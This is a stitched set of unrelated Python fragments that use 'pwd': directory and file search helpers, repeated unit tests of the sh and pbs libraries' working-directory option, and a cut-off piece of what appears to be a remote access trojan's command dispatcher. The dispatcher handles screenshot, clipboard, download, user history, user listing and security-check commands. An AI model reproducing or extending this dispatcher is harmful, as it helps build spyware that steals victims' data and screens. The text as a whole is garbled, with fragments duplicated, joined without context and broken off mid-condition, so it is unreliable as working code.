def findDir(dir_name, dir_path=pwd()): dir_list = [] for dirpath, dirs, files in os.walk(dir_path): for target_dir in dirs: if str(dir_name) == str(target_dir): path = dirpath + '/' + target_dir if isDir(path): dir_list.append(path) return dir_list
def findFile(file_name, dir_path=pwd()): file_list = [] for dirpath, dirs, files in os.walk(dir_path): for target_file in files: if str(file_name) == str(target_file): file_path = dirpath + '/' + target_file if isFile(file_path): file_list.append(file_path) return file_list
def test_cwd(self): from sh import pwd from os.path import realpath self.assertEqual(str(pwd(_cwd="/tmp")), realpath("/tmp")+"\n") self.assertEqual(str(pwd(_cwd="/etc")), realpath("/etc")+"\n")
def test_cwd(self): from sh import pwd from os.path import realpath self.assertEqual(str(pwd(_cwd="/tmp")), realpath("/tmp") + "\n") self.assertEqual(str(pwd(_cwd="/etc")), realpath("/etc") + "\n")
def test_cwd(self): from pbs import pwd self.assertEqual(str(pwd(_cwd='/tmp')), '/tmp\n') self.assertEqual(str(pwd(_cwd='/etc')), '/etc\n')
pass else: datastr = '' for each in rslts: data = each.replace('+++++', '') if (data[:6] == '["exit') or (data == '", "exit'): sys.exit(0) elif (data[:12] == '["screenshot') or (data == '", "screenshot'): screenshot() elif (data[:11] == '["download ') or (data == '", "download '): download(data) elif (data[:11] == '["clipboard') or (data == '", "clipboard'): clipboard() elif (data[:5] == '["pwd') or (data == '", "pwd'): pwd() elif (data[:9] == '["listdir') or (data == '", "listdir'): listdir() elif (data[:5] == '["cd ') or (data == '", "cd '): cd(data) elif (data[:12] == '["systeminfo') or (data == '", "systeminfo'): systeminfo() elif (data[:11] == '["listusers') or (data == '", "listusers'): listusers() elif (data[:11] == '["addresses') or (data == '", "addresses'): addresses() elif (data[:8] == '["prompt') or (data == '", "prompt'): prompt() elif (data[:10] == '["userhist') or (data == '", "userhist'): userhist() elif (data[:15] == '["checksecurity') or (data
def test_cwd(self): from sh import pwd self.assertEqual(str(pwd(_cwd='/tmp')), '/tmp\n') self.assertEqual(str(pwd(_cwd='/etc')), '/etc\n')